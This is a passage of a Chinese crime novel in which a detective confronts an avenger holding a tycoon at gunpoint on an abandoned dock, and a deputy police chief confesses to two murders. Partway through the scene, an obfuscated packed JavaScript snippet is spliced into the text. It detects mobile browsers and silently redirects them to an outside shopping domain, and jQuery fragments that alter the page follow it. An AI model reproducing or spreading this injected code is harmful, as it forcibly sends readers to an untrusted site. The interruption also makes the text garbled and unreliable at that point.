林行舟的心沉了一下。
许维诚半夜独自出门,没带手机,没叫司机。陆剑锋的车停在旧码头附近,却把手机留在了家里。两个人在同一个夜晚、同一个时间段,做出了同样的反常行为。
方若琳在收网。
而这两个人,这两个十年前在矿难井下握过手的人,正在走向她为他们准备好的终点。
“江潮,立刻派人去老城区旧码头。通知苏顾问,让她从医院直接过去。我在路上。”
林行舟发动了汽车。
凌晨的老城区一片漆黑,路灯稀疏,街上空无一人。他沿着临渊河岸的旧公路疾驰,车窗外的河面在夜色中泛着微弱的光,不是月光的倒映,而是河水本身在发光。那是临渊河特有的现象,河床里含有微量的萤石矿砂,在绝对黑暗的环境中会发出幽蓝色的荧光。
整条河像一条发光的带子,蜿蜒穿过沉睡的城市,指向那个废弃了二十年的旧码头。
而在这条发光带的尽头,有人在等着他。
旧码头在临渊河下游五公里处,是一片已经被城市遗忘的角落。九十年代这里曾经是临渊市最大的货运码头,每天有几十艘货轮进出,把临渊矿区的萤石和玉石运往全国各地。后来随着公路运输的兴起,码头逐渐废弃,仓库坍塌了,起重机锈成了红色的骨架,混凝土栈桥在水流的冲刷下一块块剥落,露出了里面锈蚀的钢筋。
林行舟把车停在距离码头五百米的地方,关掉车灯,步行靠近。
空气中弥漫着河水、铁锈和腐烂木材的混合气味。他的鞋子踩在碎玻璃和砂砾上,发出细微的嘎吱声,每一响都在寂静的凌晨被放大了好几倍。他摸到了腰间的配枪,打开了保险。
码头的最外端,那座旧起重机的残骸旁边,停着两辆车。一辆是黑色的奥迪,陆剑锋的公务车。一辆是银色的奔驰,许维诚的车。
两辆车并排停着,驾驶座的门都开着,车灯都亮着,光束直直地射向河面,照得那片水域一片惨白。但车里没有人。
林行舟沿着栈桥的残骸往前走,在距离两辆车大约三十米的地方,看到了三个人影。
码头最前端,混凝土栈桥断裂的边缘处,站着三个人。
正中间是许维诚,他穿着一件深色的睡衣,外面胡乱套了一件风衣,头发被河风吹得凌乱不堪。他的双手被反绑在身后,嘴里塞着东西,站在断裂的栈桥最边缘处,脚下就是闪着荧光的河水。
左边是陆剑锋,他穿着便装,手里没有武器,双手垂在身体两侧,整个人像一尊石雕一样一动不动。他的表情很古怪,不是恐惧,不是愤怒,而是一种近乎解脱的平静。
右边是方若琳。
她穿着一身黑色的衣服,长发被风吹起来,露出一张在河光映照下异常苍白的脸。她的手里拿着一把左轮手枪,枪口指着许维诚的后脑勺。但她没有看他,她在看远处正在靠近的林行舟。
“林警官,”她的声音不大,但在空旷的河面上传得很远,“你比我想的来得快。”
“方若琳,放下枪。”林行舟举起配枪,慢慢靠近,“一切都结束了。王磊说了所有的事,我们已经掌握了全部证据。许维诚会被定罪,陆剑锋也会。司法会还你父亲一个公道,还给那四十五个人一个公道。不用你来动手。”
“司法?”方若琳轻轻地笑了一下,那笑声里没有嘲讽,只有一种历经沧桑之后的疲惫,“林警官,你知道十年前苏记者是怎么说的吗?他给我看过他的记者证,说他是来揭露真相的,说只要报道发出去,司法就会介入,许维诚就会坐牢。我信了他。然后我看到他被许维诚塞进了后备箱。”
她的枪口稳稳地指着许维诚。
“后来我又信过很多人。省里的调查组、市里的安监局、各路媒体记者,每一拨人来的时候都信誓旦旦,走的时候都石沉大海。你知道许维诚花了多少钱吗?每人一份,价码不同,但没有人拒绝过。没有一个人。”
她看向林行舟身后的黑暗。黑暗中,几辆警车的灯在远处闪烁,正在快速接近。
“所以我不信了。我只信我自己。”
“郑刚死了。”林行舟说,“郭大友也死了。他们都是知情者,也是受害者。你杀了他们,和你痛恨的许维诚有什么区别?”
方若琳的眼睛里闪过一丝波动。
“郑刚和郭大友不是我杀的。”她说,“他们两个是,”
“是我杀的。”
说话的是陆剑锋。
林行舟的枪口微微一偏,对准了陆剑锋的方向。这个从案件一开始就以领导身份出现在会议室里的副局长,此刻站在码头边缘,身形被车灯拉出一道长长的影子。他的声音不大,但异常清晰,像是准备了很久的一段话,终于找到了说出口的机会。
“郭大友是我杀的。郑刚也是。”陆剑锋说,“不是方若琳。不是她那个复仇网络里的任何人。是我。”
“你为什么要杀他们?”
陆剑锋慢慢转过身,面对着林行舟。车灯的光从他身后打过来,他的脸在逆光中只剩下一个模糊的轮廓,但那双眼睛却在黑暗中异常明亮。
“因为他们在勒索我。郭大友十年前签了保密协议,拿了一笔封口费。这十年他一直在矿区边上守着,不是因为忠诚,是因为他想多要钱。每次缺钱了就来找我,每次都说'陆所长,你当年在井下看到的东西,要不要我帮你回忆一下?'郑刚也一样,他那盘磁带录了不止一份,用备份来跟我要钱,要了整整十年。”
“所以你就杀了他们?”
“不是我亲手杀的。”陆剑锋说,“是我雇的人。手法是方若琳教的,我给她提供了监控系统的漏洞、门锁的细节、警卫的排班表,作为交换,她教会了我怎么用宝石嵌入额头。她说这是'标记',每一个和矿难有关的人,都要被标记。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17733411|209008||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
“你利用了她的复仇网络来掩盖你自己的灭口行为。”林行舟说,“郭大友和郑刚额头上的翡翠不是复仇的标记,是你用来嫁祸给复仇者的伪装。”
“聪明。”陆剑锋微微点头,语气里居然带着一丝赞许,“林行舟,你确实是这几年我见过最好的刑警。你进局里的时候我就注意到了,但没想到你会查到这个地步。”
“你想不到的事还很多。”林行舟说,“你现在被捕了,涉嫌故意杀人、受贿、包庇,”
“我不用被捕。”陆剑锋打断了他。
他从口袋里拿出一样东西,一枚警徽。和沈重给林行舟的那枚几乎一模一样,但更新,更亮,在车灯下反射着刺眼的光。
“我做了十年警察,十年副局长。我办了数不清的案子,抓了数不清的人。我知道司法的每一个环节,知道审讯的每一个技巧,知道监狱的每一道铁门。”他把警徽放在手心,看着它,像是在看一个认识了很多年的老朋友,“我不打算进去。”
“陆剑锋,”
“还有一个小时天亮。”陆剑锋抬起头,看着东方天际线上那一点点微弱的亮光,“在天亮之前,我要做一件事,这辈子唯一一件不受许维诚控制的事。”
他转向方若琳:“苏建国的笔记本在哪里?”
方若琳看着他,没有回答。
“你父亲方国良的工牌我还给你了。十年前是我从许维诚手里拿回来的,放在你宿舍的枕头下面。”陆剑锋说,“那时候我就知道你是谁,也知道你要做什么。我没有阻止你,因为我知道,总有一天,你会成为杀死许维诚的人。我只是没想到,你花了十年。”
“笔记本在我这里。”方若琳终于开口,“苏记者最后一本笔记本,记录了毒品走私的全部细节、许维诚在缅甸的联络人、国内的分销网络、以及你陆剑锋参与洗钱的全部证据。”
“把它交给林行舟。”陆剑锋说,“然后,你开枪。”
方若琳愣住了。
“你等了十年,等的就是这一刻。”陆剑锋的声音平静得近乎冷酷,“许维诚在你枪口前面,我在你枪口旁边。两颗子弹,两件事做完,天就亮了。你不用去坐牢,一切推到我身上就好。我已经杀了两个人,不差多背两条命。”
“你以为这样就能赎罪?”方若琳的声音第一次出现了颤抖。
“不能。”陆剑锋说,“但这是我唯一能做的事了。”
河面上的荧光忽然亮了三分,那是云层裂开了一道缝,露出了即将隐没的月亮。月光照在临渊河上,和萤石的光混在一起,让整条河看起来像一条流动的银河。
许维诚在枪口下剧烈地颤抖着,嘴里发出含混不清的声音,双腿软得几乎站不住。他的脸上全是眼泪和鼻涕,那副不可一世的临渊首富的嘴脸在死亡的恐惧面前荡然无存。
方若琳的手指搭在扳机上,指节因为用力而发白。